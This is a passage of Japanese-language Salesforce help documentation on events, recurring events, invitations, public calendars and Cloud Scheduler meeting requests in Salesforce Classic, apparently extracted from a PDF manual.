Lightning Experience では、Cloud Scheduler のミーティング要請はサポートされていません。

関連トピック:

Lightning Experience で ToDo を使用する場合の考慮事項
活動の使用に関する考慮事項

Salesforce Classic で行動およびカレンダーを使用する場合の考慮事項

エディション

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

招待者が関連する行動が
使用できないエディショ
ン: Personal Edition

Salesforce Classicで行動を作成、更新、所有したり、他のユーザを行動に招待した
りする場合の考慮事項は、次のとおりです。

行動の編集
他のユーザの行動を編集する権限

組織のカレンダー共有モデルと個人のカレンダー共有によって、他のユーザ
の行動の編集権限を制御します。ただし、これらの設定に関係なく、ロール
階層のマネージャは、部下が所有する行動をいつでも編集できます。

公開カレンダーとリソースカレンダーを編集する権限
カレンダー共有モデルによって、公開カレンダーおよびリソースカレンダー
の行動を編集する権限を制御します。

1 つの行動とそれを含む定期的な行動の項目への変更
1 つの行動で項目を変更してから、定期的な行動でその項目を変更すると、定期的な行動に加えた変更に
よって 1 つの行動に加えた変更が上書きされます。

行動の削除
行動への招待の拒否

招待された行動を拒否すると、ユーザのカレンダーからその行動が削除されます。被招待者がいる行動を
削除できるのは行動所有者のみです。
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削除された定期的な行動についての通知
行動所有者が定期的な行動を削除すると、被招待者全員に定期的な行動がキャンセルされたことを通知す
るメールが送信されます。

定期的な行動を削除した場合の過去および将来の行動の処理
定期的な行動を削除すると、将来の行動のみ削除されます。すでに行われた行動は影響を受けません。
定期的な行動が削除され、その中に過去の行動がある場合、定期的な行動はごみ箱に移動されません。そ
のため、定期的な行動をごみ箱から復元することはできません。
定期的な行動が削除され、その中に過去の行動がない場合は、定期的な行動がごみ箱に移動されます。定
期的な行動に含まれる個々の行動は、ごみ箱に移動されません。

ごみ箱から復元された定期的な行動の処理
ごみ箱から定期的な行動を復元した場合、個々の行動が作成されます。これらの個々の行動には、定期的
な行動で定義された詳細と、定期的な行動が削除する前に個別に加えられた変更や追加の両方が含まれま
れます。

削除された公開カレンダー
削除された公開カレンダーは、ゴミ箱に入れられません。

定期的な行動 ( )

定期的な行動とその中の 1 つの行動への変更による影響

警告: 定期的な行動の項目への変更によって、以前に 1 つの行動に加えた変更が上書きされます。
次の設定を変更すると、将来の行動の招待者の状況は [未決定] にリセットされます。招待者の返答を
含む送信済みのメッセージや、将来の 1 つの行動に加えた他の変更は失われます。トリガおよびワー
クフローもリセットされ、将来の行動へのリンクは切断されます。
• 終日行動のチェックボックス
• 開始時刻または終了時刻
• 場所
• 繰り返し頻度
• 更新を招待者に送信する場合の繰り返しの開始日または終了日
更新を送信せず、繰り返しの終了日のみを延長する場合は、将来の行動に影響を与えません。

変更された定期的な行動の新旧の開始時刻と終了時刻の表示
主催者が定期的な行動の中のある行動のスケジュール時刻を変更すると、カレンダービューと [ホーム] タ
ブの [カレンダー] セクションに更新された時刻が表示されます。ただし、定期的な行動が受諾または拒否
されるまで、個々の行動の詳細ページには引き続き元の時刻が表示されます。

定期的な行動での個々の行動の最大数
• 毎日: 100

• 毎週: 53

• 毎月: 60

• 毎年: 10

選択した頻度で許容される最大終了日を入力するには、[最終終了日を計算] をクリックします。
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行動の期間
Salesforce システム管理者が複数日の行動を有効化している場合、定期的な行動を除き、最長 14 日の行動を
作成できます。定期的な行動を作成する場合、定期的な行動に含まれる個々の行動の最長期間は 24 時間で
す。定期的な行動を作成した後、Salesforce システム管理者が複数日の行動を有効化していれば、期間を最
長 14 日に変更できます。

行動アラーム
定期的な行動を作成し、アラームチェックボックスをオンのままにすると、定期的な行動に含まれる個々
の行動のたびにアラームを受信します。

行動への添付ファイル
定期的な行動にファイルを添付できます。定期的な行動を作成した後、定期的な行動に含まれる個々の行
動に対して添付ファイルを追加または削除できます。
添付ファイルは行動の詳細ページにのみ表示され、行動が関連する他のレコードの詳細ページには表示さ
れません。行動の詳細ページに [添付ファイル] 関連リストが表示されない場合、行動のページレイアウト
に追加するよう Salesforce システム管理者に依頼してください。

ユーザの招待とリソースのスケジュール
ユーザとリソースを招待するために必要なアクセス権

行動に取引先責任者やリードを招集するには、少なくともその取引先責任者やリードに対する「参照」権
限が必要です。行動にリソースを招集するには、少なくともそのリソースに対する「行動の追加」権限が
必要です。

招待者のいる行動を編集する権限
では、1 人以上の招待者がいる行動を特定します。行動を所有している場合にのみ、招待されているユー

ザの行動を編集できます。定期的な行動でなければ、行動を別のユーザに割り当てることができます。
メール更新を送信する場合、更新をすべての招待者、または編集時に追加または削除したユーザのみに送
信できます。

行動への参加
拒否した行動は、カレンダーから削除されます。行動の所有者は、招待者が招待を受諾または拒否したと
きにメール通知を受け取りません。

最大招待者数
通常の行動の最大招待者数は 1,000 人です。ただし、定期的な行動の最大招待者数は 100 人です。

複数の取引先責任者への行動の関連付け (Shared Activities)

関連取引先責任者の最大数
[名前] 項目で 1 つの行動を 1 件の主取引先責任者を含む、最大 50 件の取引先責任者 (リードは 1 件のみ) に
関連付けることができます。[名前] 項目の横に が表示されない場合は、Shared Activities を有効化する
ようにシステム管理者に依頼してください。

定期的な行動または行動所有者が複数の行動はサポート対象外
複数の取引先責任者を定期的な行動や複数のユーザが所有する行動に関連付けることはできません。
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同僚への行動の割り当て
デフォルトの行動所有者

デフォルトでは、行動は作成したユーザに割り当てられます。新しい行動の独立したコピーを複数のユー
ザに割り当てるには、[割り当て先]の横にある をクリックします。開いたウィンドウで、[複数ユーザ]

タブをクリックします。[割り当て先] 項目は、Personal Edition では使用できません。

Chatter の行動
Chatter フィードの新規行動

新しい行動がリード、取引先、カスタムオブジェクトなどのレコードに関連付けられている場合、行動は
そのレコードのフィードに表示されます。フォローしているレコードについて、作成者に関係なく、すべ
ての行動のフィード項目が表示されます。

フィードでの行動の作成
Chatter を使用してさまざまなレコードタイプの行動を作成できるかどうかは、Salesforce システム管理者が
指定します。たとえば、一部のユーザはアクセス権のある取引先のフィードの行動を表示することはでき
るが、作成はできないということがあります。

Chatter では定期的な行動は表示対象外
Chatter フィードには、定期的な行動は全体としても個別でも表示されません。また、Chatter では定期的な
行動はフォローできません。

関連トピック:

Salesforce Classic のカレンダービュー

Salesforce Classic での招待とスケジュール

エディション

Salesforce Classic で使用可
能なエディション:
Personal Edition および
Database.com Edition を除
くすべてのエディション

Salesforce Classicでは、ユーザをミーティングに招待したり、ミーティングへの招
集を承諾したり、Cloud Scheduler を使用してミーティング時間を提案したりでき
ます。また、Salesforceで Microsoft® Outlook® の行動の予定表を作成することもでき
ます。

1. Salesforce Classic での行動へのユーザの招待とリソースのスケジュール
ユーザ、取引先責任者、およびリードをミーティングに招待し、ミーティン
グリソースをスケジュールします。

2. Salesforce Classic での取引先、取引先責任者、またはリードに関するミーティングの迅速なスケジュール
ドラッグアンドドロップによるスケジュールでは、リストビューページ内から取引先、取引先責任者、お
よびリードに関連する行動をスケジュールできます。リストビューから週次のカレンダービューにレコー
ドをドラッグし、フロート表示に行動の詳細を入力します。

3. Salesforce Classic での行動に対する Outlook の予定の作成
行動の詳細から Microsoft® Outlook® の予定を作成します。
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4. Salesforce Classic の公開カレンダーでの行動の作成
公開カレンダーには、営業部用の営業カレンダーなど、特定のユーザグループが使用できる行動のスケ
ジュールが表示されます。Salesforce システム管理者が公開カレンダーを設定し、自分がそのグループに割
り当てられている場合は、カレンダーを表示できます。また、自分のカレンダーと同様に行動を追加でき
ます。

5. Salesforce Classic での Cloud Scheduler を使用したミーティング要請
Cloud Scheduler を使用して、取引先責任者、リード、個人取引先、または同僚とのミーティングを要請しま
す。

6. Salesforce Classic での行動への招待に対する返答
行動への招待を受諾または拒否します。招待を受諾した後、その行動を Outlook に追加できます。

Salesforce Classic での行動へのユーザの招待とリソースのスケジュール

エディション

Salesforce Classic で使用可
能なエディション:
Personal Edition および
Database.com Edition を除
くすべてのエディション

ユーザ権限

行動にユーザを招待する
• 「行動の編集」

ユーザ、取引先責任者、およびリードをミーティングに招待し、ミーティング
リソースをスケジュールします。
1. 行動の詳細ページの [招待者を選択] セクションで、[選択]をクリックします。
2. [招待者を選択] ダイアログボックスで、ユーザ、リード、取引先責任者、リ

ソースなどの種類の招待者を検索します。
3. 名前またはその一部を入力します。検索対象を広げる場合は項目を空白のま

まにします。[検索] をクリックします。
4. と を使用して、人とリソースを選択および選択解除します。さら

に人またはリソースを招待するには、再度検索して必要な招待者を選択しま
す。

5. [完了] をクリックします。
6. 招待者のカレンダーを確認し、必要に応じて行動の日付と時間を調整します。

招待者の活動予定は、スケジュール済みの時間は青色、外出中の時間は赤色で、カレンダーに示されます。
招待者に対して複数の行動が特定の時間内にスケジュールされている場合は、すべての行動がカレンダー
に表示されます。行動の詳細を表示するには、カレンダーの行動の上にマウスポインタを置きます。

7. 行動から招待者を削除するには、招待者名の横の [削除] をクリックします。
8. [保存 & 更新を通知] をクリックします。

招待されたリード、取引先責任者、および個人取引先は、Web ページへのリンクが記載されたメールを受
け取ります。行動または定期的な行動に対する招待を受諾または拒否できます。また、行動の概要がメー
ルで通知されます。指定された時間に招待されたリソースが空いている場合は、招待が自動的に受諾され
ます。
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Salesforce Classicでの取引先、取引先責任者、またはリードに関するミーティングの迅速なスケジュー
ル

エディション

Salesforce Classic で使用可
能なエディション:
Personal Edition および
Database.com Edition を除
くすべてのエディション

ユーザ権限

ドラッグアンドドロップ
によるスケジュールを有
効にする
• 「アプリケーションの

カスタマイズ」

行動を作成する
• 「行動の編集」

ユーザ権限

行動を作成する
• 「行動の編集」

ドラッグアンドドロップによるスケジュールでは、リストビューページ内から
取引先、取引先責任者、およびリードに関連する行動をスケジュールできます。
リストビューから週次のカレンダービューにレコードをドラッグし、フロート
表示に行動の詳細を入力します。

[カレンダーを開く] リンクが表示されない場合は、ドラッグアンドドロップ
によるスケジュールを有効にするようシステム管理者に依頼してください。
1. リストビューの下部にある [カレンダーを開く]リンクをクリックします。

ビューの下にカレンダーの週次ビューが表示されます。
2. レコードをリストからカレンダーの時間枠にドラッグします。

行動を作成するためのポップアップウィンドウが表示されます。行動は、リ
ストビューからドラッグしたレコードにすでに関連付けられています。

• [カレンダーを開く] リンクは、取引先、取引先責任者、およびリードの
リストビューの下部にのみ表示されます。

• ドラッグアンドドロップによるスケジュールは、[コンソール] タブ、他のユー
ザを招待済みの行動、定期的な行動、アクセシビリティモード、Connect Offline

では使用できません。
• ドラッグアンドドロップによるスケジュールを含むリストビューは、表示に

多少時間がかかる場合があります。
• リストとカレンダーの間のバーをドラッグしてサイズを変更する場合、ド

ラッグアンドドロップによるスケジュールが使用されるすべてのビューでサ
イズが保存されます。リストとカレンダーのサイズは随時変更できます。

Salesforce Classic での行動に対する Outlook の予定の作成

エディション

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

行動の詳細から Microsoft® Outlook® の予定を作成します。
1. 行動の詳細ページで、[Outlook に追加] をクリックします。
2. 行動をすぐに Outlook へ追加する場合は [開く] をクリックします。また

は、.vcsファイルとしてコンピュータに保存します。.vcsファイルとして
保存した場合は、そのファイルを Outlook でインポートします。
Outlook の予定は「salesforce.com」フォルダに追加され、同期中に重複が作成
されないように「salesforce.com」カテゴリでタグ付けされます。

行動を Outlook に追加するときは、次の点に留意してください。
• Outlook で行動を表示するとき、説明には行動の [説明]項目に入力した改行は表示されません。.vcsファ

イル内では、改行は 2 個のスペースで置き換えられます。
• Lightning Sync または Salesforce for Outlook を使用して、Outlook と Salesforce の行動を同期することもできます。

メモ: また、Lightning for Outlook と Salesforce for Outlook を使用して Microsoft® Outlook® のメールを Salesforce に追
加できます。これらのメールインテグレーションアプリケーションでは、送信メールまたは送信済みメー
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ルを Salesforceの ToDo として記録することもできます。その後、この ToDo を取引先責任者、リード、また
はその他のレコードに関連付けることができます。

Salesforce Classic の公開カレンダーでの行動の作成

エディション

Salesforce Classic で使用可
能なエディション:
Personal Edition、Group
Edition、および
Database.com Edition を除
くすべてのエディション

ユーザ権限

公開カレンダーに行動を
作成する
• 「行動の編集」

公開カレンダーには、営業部用の営業カレンダーなど、特定のユーザグループ
が使用できる行動のスケジュールが表示されます。Salesforce システム管理者が
公開カレンダーを設定し、自分がそのグループに割り当てられている場合は、
カレンダーを表示できます。また、自分のカレンダーと同様に行動を追加でき
ます。
1. カレンダービューで、[変更]をクリックして公開カレンダーに切り替えます。
2. 行動の時刻と日付を選択します。

• 日表示では、[午前 9:00]などの時刻をクリックすると、行動を追加できま
す。

• 週表示または月表示では、 をクリックして行動を特定の日に追加しま
す。

3. 行動の詳細を入力します。
4. [保存] をクリックします。または、[保存 & 新規 ToDo] をクリックし、この行

動を保存して ToDo の作成を開始するか、[保存 & 新規行動] をクリックし、この行動を保存して別の行動の
作成を開始します。

Salesforce Classic での Cloud Scheduler を使用したミーティング要請

エディション

Salesforce Classic で使用可
能なエディション:
Personal Edition および
Database.com Edition を除
くすべてのエディション

Cloud Scheduler を使用して、取引先責任者、リード、個人取引先、または同僚と
のミーティングを要請します。

1. Salesforce Classic での Cloud Scheduler のしくみ
Cloud Scheduler を使用して取引先責任者、リード、個人取引先、または同僚と
のミーティングを要請すると、Salesforce 固有の Web ページが作成され、提案
されたミーティング時間が表示されます。招待者はこのページにアクセス
し、都合のよい時間を選択して、返信を送ります。Salesforce ではすべての返
答が追跡されるため、ミーティングの確認時に最適なミーティング時間を選択できます。

2. Salesforce Classic でのミーティングの要請
Cloud Scheduler を使用して、取引先責任者、リード、個人取引先、または同僚とのミーティングを要請しま
す。

3. Salesforce Classic でのミーティング時間提案のヒント
Cloud Scheduler を使用してミーティングを要請するとき、ミーティング時間を提案するか、Salesforce がミー
ティング時間を提案できます。Salesforce によるミーティング時間の提案は、ミーティング要請を送信して
から最初の招待者が要請を表示するまでの時間差が長い場合に役立ちます。たとえば、月曜日に取引先責
任者とのミーティングを要請し、その取引先責任者が木曜日まで要請を表示しなかった場合、Salesforceは、
ミーティング要請の送信時点ではなく木曜日以降のミーティング時間を提案します。

1664

ミーティングと ToDo の計画および追跡顧客への営業



4. Salesforce Classic での要請済みミーティングへの招待者の変更
Cloud Scheduler を使用してミーティングを要請した場合、招待者をいつでも追加および削除できます。

5. Salesforce Classic での要請済みミーティングの再スケジュール
Cloud Scheduler を使用して要請したミーティングをまだ確認していない場合、ミーティングを再スケジュー
ルして新しい時間を提案できます。ただし、確認済みのミーティングは行動に変換されるため、新しい時
間を提案することはできません。行動を再スケジュールするには、行動を編集して日付を変更し、更新し
た情報を招待者に送信します。

6. Salesforce Classic での要請済みミーティングの確認
Cloud Scheduler を使用してミーティングを要請したら、招待者が都合のよいミーティング時間を返信するま
で待ちます。招待者が返信すると、メール通知が送信され、招待者が選択した時間で Salesforce のミーティ
ングが自動的に更新されます。ミーティングに最適な時間を選択し、ミーティングを確認できます。

7. Salesforce Classic での要請済みミーティングのキャンセル
Cloud Scheduler を使用して要請したミーティングがまだ確認されていない場合、ミーティングをキャンセル
でき、Salesforce から招待者にキャンセル通知が自動送信されます。確認済みのミーティングは行動に変換
され、他の行動と同様に削除できます。

Salesforce Classic での Cloud Scheduler のしくみ

エディション

Salesforce Classic で使用可
能なエディション:
Personal Edition および
Database.com Edition を除
くすべてのエディション

ユーザ権限

ミーティングを要請する
• 「行動の編集」

および

「メールの送信」

Cloud Scheduler を使用して取引先責任者、リード、個人取引先、または同僚との
ミーティングを要請すると、Salesforce 固有の Web ページが作成され、提案され
たミーティング時間が表示されます。招待者はこのページにアクセスし、都合
のよい時間を選択して、返信を送ります。Salesforce ではすべての返答が追跡さ
れるため、ミーティングの確認時に最適なミーティング時間を選択できます。
ステップ 1: ミーティングを要請し、ミーティング時間を提案する

[ホーム] の [カレンダー] セクションまたはミーティングを要請する取引先責
任者、リード、または個人取引先の詳細ページの [活動予定] 関連リストに移
動します。[新規ミーティング要請]をクリックして、[ミーティングのお願い]

ページを開きます。
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1. 同僚、リード、取引先責任者、または個人取引先にミーティングの出席を依頼するには、[宛先] をク
リックします。

2. カレンダーをクリックして最大 5 つのミーティング時間を提案するか、Salesforce にミーティング時間を
提案させます。

ステップ 2: 招待者が都合のよいミーティング時間を選択する
招待者が出席可能な時間を選択できるように、Salesforce から招待者にメールでミーティング要請が送信さ
れます。

1. 招待者がミーティング要請内の [この要請に返答]をクリックするとミーティングの Web ページが開きま
す。

2. 招待者は、ミーティングの Web ページで提案された時間から都合のよい時間を選択し、返信します。
ステップ 3: ミーティングを確認する

Salesforceではすべての返答が追跡されるため、各招待者の都合のよい時間を確認できます。最適なミーティ
ング時間を選択し、ミーティングを確認します。
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Salesforce Classic でのミーティングの要請

エディション

Salesforce Classic で使用可
能なエディション:
Personal Edition および
Database.com Edition を除
くすべてのエディション

ユーザ権限

ミーティングを要請する
• 「行動の編集」

および

「メールの送信」

Cloud Scheduler を使用して、取引先責任者、リード、個人取引先、または同僚と
のミーティングを要請します。
Cloud Scheduler を使用する前に、次のヒントを考慮してください。
• 少なくともミーティングの要請先となる取引先責任者、リード、および個人

取引先の「参照」権限が必要です。
• Salesforce から招待者にミーティング要請を送信できるように、各招待者のレ

コード内にメールアドレスが指定されている必要があります。
• 1 回のミーティングに、最大 50 人を招待できます。招待者は取引先責任者、

リード、または個人取引先のみ、Salesforce を使用する同僚のみ、またはこの
両方を組み合わせて構成できます。

• Salesforceと Microsoft® Outlook®. 間で行動を同期できるように、Salesforce for Outlook

をインストールしておくことをお勧めします。
ミーティング時間を提案するとき、自分の空き時間と予定のある時間がわか
るように Salesforce カレンダーを最新の状態に更新しておくと役立ちます。

ミーティングを要請する
1. [ホーム] の [カレンダー] セクションまたはミーティングに出席を依頼する取引先責任者、リード、または個

人取引先の詳細ページの [活動予定] 関連リストに移動します。
2. [新規ミーティング要請] をクリックします。

[ホーム] または [活動予定] 関連リストの [カレンダー] にこのボタンが表示されない場合は、Salesforceのシス
テム管理者に追加を依頼してください。

3. 同僚、リード、取引先責任者、または個人取引先にミーティングの出席を依頼するには、[宛先] をクリッ
クします。
a. 招待者の種類をドロップダウンリストから選択します。個人取引先は、取引先責任者の検索結果として

返され、招待者として追加できます。
b. テキスト項目に名前またはその一部を入力します。検索対象を広げる場合は項目を空白のままにしま

す。
c. [Go!] をクリックします。
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d. [検索結果] エリアで、招待するメンバーの横にあるボックスをオンにし、[選択したものを挿入]をクリッ
クします。被招集者をさらに追加するには、新しい検索を行い、必要に応じてメンバーを追加します。
招待者の横に警告アイコン ( ) が表示された場合、その招待者のレコードにメールアドレスが指定され
ていないため、ミーティングに招待できません。この場合、レコードにメールアドレスを追加すると、
ミーティングに招待できるようになります。

e. [完了] をクリックします。
f. 招待者として選択した人を削除するには、[宛先]項目の人名の横にある [x] をクリックします。[活動予

定] 関連リストからミーティングを要請した場合以外は、すべての招待者を削除できます。その場合、
[宛先] 項目の最初にミーティングを要請した取引先責任者、リード、または個人取引先は削除できま
せん。

4. 件名と場所を入力します。
[活動予定] 関連リストからミーティングを要請した場合、デフォルトの件名は、リードまたは取引先責任
者の取引先名と、個人情報で指定された会社名を組み合わせたものです。ACME 社に勤務する人が Sterling 社
の取引先責任者とミーティングをする場合、デフォルトの件名は「Sterling と ACME」になります。デ
フォルトの場所は常に[未定]です。

5. 次のタブから 1 つ選択します。
• 特定のミーティング時間を提案する — カレンダーで時間を選択して、最大 5 つのミーティング時間を

提案します。
• Salesforceがミーティング時間を提案する — ミーティングの所要時間と期間条件を選択すると、Salesforce

が最大 5 つのミーティング時間を提案します。

6. [次へ] をクリックします。
7. 招待者へのメッセージを入力し、[送信] をクリックします。

次の点に注意してください。
• 招集者のメールの署名は、自動的にメッセージに追加されます。
• [送信] をクリックすると、Salesforce から招待者にミーティング要請のメールが送信されます。
• ミーティングの Web ページに、招集者と招待者の間のメッセージがすべて表示されます。これには、招

集者の要請に対する招待者の返答メッセージも含まれます。
• [活動予定] 関連リストからミーティングを要請した場合、ミーティングはその取引先責任者またはリー

ドのみの詳細ページに表示されます。その他の招待者の [活動予定] 関連リストには表示されません。た
とえば、Jane Smith の取引先責任者の詳細ページから Jane Smith とのミーティングを要請し、[宛先] 項目
をクリックして John Doe を招待した場合、要請されたミーティングは Jane Smith の [活動予定] 関連リスト
にのみ表示され、John Doe のリストには表示されません。[ホーム] の [カレンダー] セクションからミー
ティングを要請した場合は、Jane Smith または John Doe の [活動予定] 関連リストにミーティングは表示さ
れません。

ミーティング要請を送信したら、招待者が都合のよいミーティング時間を返信するまで待ちます。その後、最
終的なミーティング時間を選択して、ミーティングを確定します。
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Salesforce Classic でのミーティング時間提案のヒント

エディション

Salesforce Classic で使用可
能なエディション:
Personal Edition および
Database.com Edition を除
くすべてのエディション

ユーザ権限

ミーティングを要請する
• 「行動の編集」

および

「メールの送信」

Cloud Scheduler を使用してミーティングを要請するとき、ミーティング時間を提
案するか、Salesforce がミーティング時間を提案できます。Salesforce によるミー
ティング時間の提案は、ミーティング要請を送信してから最初の招待者が要請
を表示するまでの時間差が長い場合に役立ちます。たとえば、月曜日に取引先
責任者とのミーティングを要請し、その取引先責任者が木曜日まで要請を表示
しなかった場合、Salesforce は、ミーティング要請の送信時点ではなく木曜日以
降のミーティング時間を提案します。

ミーティング時間の提案
ミーティング時間を提案すると、次のようになります。
• 提案された時間はSalesforceカレンダーには保存されません。ミーティングが

カレンダーに表示されるのは、ミーティングを確認した後のみです。
• 招待者が招集者からのミーティング要請を表示すると、提案されたミーティ

ング時間は招集者のタイムゾーンで表示されます。提案されたミーティング
時間は、招待者のタイムゾーンでは表示されません。

• 過ぎてしまった時間を提案することはできません (カレンダーの黒線の前)。
• カレンダーの網かけ部分は、Salesforce カレンダーに基づいて、招待する側と招待された同僚に予定がある

時間を示します。濃い網かけは、複数の同僚に同時に予定がある時間を示します。
• ミーティングの長さを変更するには、[所要時間] 項目を使用します。
• 提案した時間を削除するには、提案した時間にマウスを移動して [x] をクリックします。

Salesforce によるミーティング時間の提案
Salesforce によってミーティング時間を提案する場合、次のようになります。
• 提案される時間は、ミーティング要請を送信するまでわかりません。最初の招待者が要請を表示すると、

Salesforce によってミーティングに招待されたすべての同僚のカレンダーが確認され、それぞれの空き時間
に基づいてミーティング時間が提案されます。
Salesforceでは、他の未確認ミーティングですでに選択されている招待者の予定時間と重複しないようにミー
ティング時間を提案します。たとえば、5 営業日以内のミーティングを要請し、招待者が火曜日と水曜日の
午後 2 時から午後 3 時に参加可能と返答した後に、同じ期間条件で別のミーティングを要請すると、Salesforce

では、招集者のカレンダーが確認済みミーティングと他の行動ですべて予約されている場合を除き、火曜
日と水曜日の午後 2 時から 3 時を除外してミーティング時間を提案します。

• デフォルトでは、Salesforceは、招集者のタイムゾーンで午前 9 時から午後 5 時の間でミーティング時間を提
案します。ただし、[個人情報] 設定ページで [始業時間]項目と [終業時間]項目を変更した場合、Salesforce

は変更された設定を代わりに使用します。

メモ: 昼食時間など、特定の時間にミーティングを行いたくない場合、Salesforceカレンダーに定期的な行
動をスケジュールしてその時間を提案時間から除外します。

次の表では、Salesforce によるミーティング時間の提案を制御する設定について説明します。
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説明項目

ミーティングの時間。所要時間

Salesforceでどの程度先までのミーティング時間を提案
するかを示します。

期間条件

• 翌 5 営業日/翌 10 営業日 — Salesforce では、指定さ
れた期間条件の範囲でまんべんなくミーティング
時間を提案します。たとえば、期間条件が [翌 5 営
業日] の場合、最初の招待者が月曜日に要請を表示
すると、Salesforceはその週の各日に 1 件のミーティ
ング時間を提案します。その週に予約されている
日がある場合、Salesforceは残りの日に集中してミー
ティング時間を提案します。
土曜日と日曜日は営業日から除外されます。

• いつでも — Salesforce は 5 営業日以内に 5 つのミー
ティング時間の提案を試みますが、5 営業日以内
に 5 つの時間を提案できない場合は、その先の 10

営業日まで範囲を延長します。延長しても提案す
るミーティング時間を 5 つまで見つけられない場
合は、Salesforce はさらにその 4 週間先まで延長し
て提案できる時間を探します。
このオプションを選択すると、Salesforce が 7 週間
先の時間を提案する可能性もあります (5 営業日 +

10 営業日 + 20 営業日 = 7 週間)。
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Salesforce Classic での要請済みミーティングへの招待者の変更

エディション

Salesforce Classic で使用可
能なエディション:
Personal Edition および
Database.com Edition を除
くすべてのエディション

ユーザ権限

要請したミーティングに
対して招待者を追加およ
び削除する
• 「行動の編集」

および

「メールの送信」

Cloud Scheduler を使用してミーティングを要請した場合、招待者をいつでも追加
および削除できます。
1. ミーティングを開くには、次のいずれかのメソッドを使用します。

• [ホーム] の [カレンダー] セクションから [要請済みミーティング]サブタブ
をクリックし、ミーティングの件名をクリックします。[要請済みミーティ
ング] サブタブが [カレンダー] セクションに表示されない場合は、そのサ
ブタブを追加するようシステム管理者に依頼してください。

• 取引先責任者、リード、または個人取引先の [活動予定] 関連リストから
ミーティングを要請した場合、関連リストのミーティングの件名をクリッ
クします。

• 招待者がミーティング要請に返答すると送信されるメール通知から [返答
の表示とミーティングのスケジュール] をクリックします。

2. 次のいずれかの操作を実行します。
• 同僚、リード、取引先責任者、または個人取引先にミーティングの出席

を依頼するには、[宛先] をクリックします。
• 招待者名の横にある [x] をクリックすると、ミーティングからその招待者

が削除されます。
[活動予定] 関連リストからミーティングを要請した場合以外は、すべての招待者を削除できます。その
場合、[宛先] 項目の最初にミーティングを要請した取引先責任者、リード、または個人取引先は削除
できません。

ミーティングに対して追加または削除したユーザに基づいて、カレンダーが自動的に更新されます。

メモ: ページに表示されているボタンが [閉じる] のみの場合、要請済みミーティングを変更する権限
がありません。主催者に代理でのミーティングの詳細変更を依頼するか、Salesforce システム管理者に
問い合わせて必要な権限の付与を依頼します。

3. [更新を送信] をクリックします。
4. メッセージを入力します。たとえば、ミーティングから誰が追加または削除されたかを招待者に伝える場

合があります。
5. 次のいずれかをクリックします。

• すべての招待者に送信 — 既存のすべての招待者と追加した招待者に更新情報を送信し、削除した招待
者にキャンセル通知を送信します。

• 変更された招待者のみに送信 — 追加した招待者に更新情報を送信し、削除した招待者にキャンセル通
知を送信します。
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Salesforce Classic での要請済みミーティングの再スケジュール

エディション

Salesforce Classic で使用可
能なエディション:
Personal Edition および
Database.com Edition を除
くすべてのエディション

ユーザ権限

ミーティングを再スケ
ジュールする
• 「行動の編集」

および

「メールの送信」

Cloud Scheduler を使用して要請したミーティングをまだ確認していない場合、ミー
ティングを再スケジュールして新しい時間を提案できます。ただし、確認済み
のミーティングは行動に変換されるため、新しい時間を提案することはできま
せん。行動を再スケジュールするには、行動を編集して日付を変更し、更新し
た情報を招待者に送信します。
ページに表示されているボタンが [閉じる] のみの場合、要請済みミーティング
を変更する権限がありません。主催者に代理でのミーティングの詳細変更を依
頼するか、Salesforce システム管理者に問い合わせて必要な権限の付与を依頼し
ます。
1. ミーティングを開くには、次のいずれかのメソッドを使用します。

• [ホーム] の [カレンダー] セクションから [要請済みミーティング]サブタブ
をクリックし、ミーティングの件名をクリックします。[要請済みミーティ
ング] サブタブが [カレンダー] セクションに表示されない場合は、そのサ
ブタブを追加するようシステム管理者に依頼してください。

• 取引先責任者、リード、または個人取引先の [活動予定] 関連リストから
ミーティングを要請した場合、関連リストのミーティングの件名をクリッ
クします。

• 招待者がミーティング要請に返答すると送信されるメール通知から [返答の表示とミーティングのスケ
ジュール] をクリックする。

2. [再スケジュール] をクリックして、新しい時間を提案します。
招待者が更新した要請に返信すると、ミーティングを確認できます。

Salesforce Classic での要請済みミーティングの確認

エディション

Salesforce Classic で使用可
能なエディション:
Personal Edition および
Database.com Edition を除
くすべてのエディション

ユーザ権限

ミーティングを確認する
手順は、次のとおりで
す。
• 「行動の編集」

および

「メールの送信」

Cloud Scheduler を使用してミーティングを要請したら、招待者が都合のよいミー
ティング時間を返信するまで待ちます。招待者が返信すると、メール通知が送
信され、招待者が選択した時間で Salesforce のミーティングが自動的に更新され
ます。ミーティングに最適な時間を選択し、ミーティングを確認できます。
ミーティング確認ページは、提案されたミーティングに関連する取引先責任者
またはリードレコードに対する「行動の編集」権限と「編集」権限のどちらも
ない同僚には参照のみとして表示されます。
システム管理者が必須項目を行動に追加すると、ミーティングが行動に変換さ
れる前にこれらの項目を更新するよう指示が表示されます。
1. ミーティングを開くには、次のいずれかのメソッドを使用します。

• [ホーム] の [カレンダー] セクションから [要請済みミーティング]サブタブ
をクリックし、ミーティングの件名をクリックします。[要請済みミーティ
ング] サブタブが [カレンダー] セクションに表示されない場合は、そのサ
ブタブを追加するようシステム管理者に依頼してください。
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• 取引先責任者、リード、または個人取引先の [活動予定] 関連リストからミーティングを要請した場合、
関連リストのミーティングの件名をクリックします。

• 招待者がミーティング要請に返答すると送信されるメール通知から [返答の表示とミーティングのスケ
ジュール] をクリックする。

2. 時間を選択し、[確認] をクリックします。
ミーティング時間を選択した後に、[確認]ボタンが表示されます。時間を選択しない場合、代わりに [更新
を送信]ボタンが表示され、ミーティング時間を確認することなく、招待者にメッセージを送信できます。
次のツールを使用して時間を選択できます。
• 緑色のチェックマークは、招待者がミーティングに参加できる時間を示します。
• 無料 は、Salesforce カレンダーに基づき、いつ参加可能であることを示します。
• 招待者に都合がよい時間がない場合は、新しい時間を提案し、ミーティングを再スケジュールします。

3. 必要であれば、招待者へのメッセージを入力します。
4. [送信] をクリックしてミーティングを確定します。

Salesforce で、次の処理が行われます。
• 招待者にミーティングの最終的な日時がメールで通知されます。
• 要請したミーティングが新しい複数個人の行動に変換されます。招待者に送信した最後のメッセージは

行動の [説明] 項目に表示されますが、招待者とやりとりしたその他のメールは保存されません。
この行動は、[ホーム] の [カレンダー] セクションに表示されます。[活動予定] 関連リストからミーティ
ングを要請した場合は、行動はその取引先責任者、リード、または個人取引先の [活動予定] 関連リスト
にも表示されます。

Salesforce Classic での要請済みミーティングのキャンセル

エディション

Salesforce Classic で使用可
能なエディション:
Personal Edition および
Database.com Edition を除
くすべてのエディション

ユーザ権限

ミーティングをキャンセ
ルする
• 「行動の編集」

および

「メールの送信」

Cloud Scheduler を使用して要請したミーティングがまだ確認されていない場合、
